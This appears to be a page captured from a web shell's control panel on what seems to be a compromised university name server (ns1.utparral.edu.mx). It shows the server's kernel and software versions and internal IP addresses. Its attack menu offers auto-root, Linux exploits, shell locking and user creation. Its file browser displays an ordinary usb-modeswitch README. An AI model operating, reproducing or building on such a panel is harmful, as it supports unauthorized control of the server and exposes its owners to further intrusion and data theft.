Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
usb-modeswitch-data /
[ HOME SHELL ]
Name
Size
Permission
Action
changelog.Debian.gz
2.52
KB
-rw-r--r--
copyright
1.41
KB
-rw-r--r--
NEWS.Debian.gz
575
B
-rw-r--r--
README.Debian
1.28
KB
-rw-r--r--
README.gz
2.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.Debian
===== usb-modeswitch-data ===== === Overriding entries from the database tarball === From its 1.1.7 version, usb-modeswitch searches for device switching data in the usb-modeswitch-data database tarball [0]. This heavily reduces the database disk space, but makes configuration investigation harder. To solve this issue, usb-modeswitch is shipped with a patch that allows administrators to override the database entries from the tarball [0] with files under /etc. [0] /usr/share/usb_modeswitch/configPack.tar.gz = Example = Let's assume one has a 3G dongle "05c6:1000 Qualcomm", which matching database entry [1] is 05c6:1000:uMa=Option , but isn't correctly switched. Hacking this database entry can be done as following: # cd /etc/usb_modeswitch.d # tar xzf /usr/share/usb_modeswitch/configPack.tar.gz 05c6:1000:uMa=Option Now the /etc/usb_modeswitch.d/05c6\:1000\:uMa=Option file will get used by usb_modeswitch_dispatcher when the "05c6:1000 Qualcomm" device gets plugged in. When a correct database entry is found, please report it on the upstream forum: http://www.draisberghof.de/usb_modeswitch/bb/ [1] One can find exactly which database entry is matching a given device gets matched with by activating logs (/etc/usb_modeswitch.conf) and reading them from /var/log/usb_modeswitch*.
Close